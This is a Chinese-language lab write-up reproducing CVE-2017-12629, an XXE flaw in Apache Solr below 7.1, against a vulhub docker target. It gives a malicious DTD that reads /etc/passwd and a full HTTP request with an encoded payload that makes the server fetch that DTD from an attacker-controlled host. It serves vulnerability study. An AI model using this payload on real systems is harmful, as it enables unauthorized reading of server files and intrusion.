zoukankan      html  css  js  c++  java
  • 漏洞复现-CVE-2017-12629-RCE-solr:XXE

     
     
     
     
     
     
     

    0x00 实验环境

    攻击机:Win 10、Win Server 2012 R2

    靶机:Ubuntu18 (docker搭建的vulhub靶场)

    0x01 影响版本

    Apache Solr < 7.1
    Apache Lucene < 7.1

    注:在Solr管理后台Dashboard仪表盘中,可查看当前Solr的版本信息。

    0x02 实验步骤

    我们打开漏洞环境,可以发现是这样的页面:

     这样的页面可以联想到远程代码执行:

     复现只需要两步:

    (1)在自己的远程服务器上win server 2012R2 上搭建一个网站,使用phpstudy即可,然后在www目录下新建一个文档1.dtd,名字可以自取

    在1.dtd内写入如下内容:

    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

     (2)回到web页面,在主页刷新后进行抓包,修改部分参数即可达到XXE外部实体代码执行的操作

    GET /solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f(你的远程服务器IP)%2f(dtd文件的名字).dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser HTTP/1.1
    Host:your-ip:8983
    Cache-Control: max-age=0
    DNT: 1
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Length: 2

    以上为我复现成功的请求报文

    成功读取到/etc/passwd的内容

    将以上q的内容进行URL解码为以下内容,可由此构造payload

    <?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://your-ip/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser

     

    0x04 实验原理

    首先,需要了解XXE的概念:

    XXE就是XML外部实体注入。当允许引用外部实体时,通过构造任意payload,导致可读取任意文件、命令执行、探测内网信息、攻击内网网站等危害。

    Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。

    主要有两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE)

    -----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

    详情请参考这篇文章:

    https://blog.csdn.net/csacs/article/details/88220227

  • 相关阅读:
    EF 4.3 CodeBased 数据迁移演练
    极酷播放插件使用问题
    IIS优化《转载》
    Entity Framework收藏版
    如何得到ADO.NET Entity Framework生成的SQL
    浏览器兼容性笔记(转)
    初识window phone 7程序
    如何真正提高ASP.NET网站的性能《转载》
    IIS使用十大原则,(IIS过期时间,IIS缓存设置) 【转载】
    IIS开启GZIP压缩效率对比及部署方法《转载》
  • 原文地址:https://www.cnblogs.com/cute-puli/p/13340249.html
Copyright © 2011-2022 走看看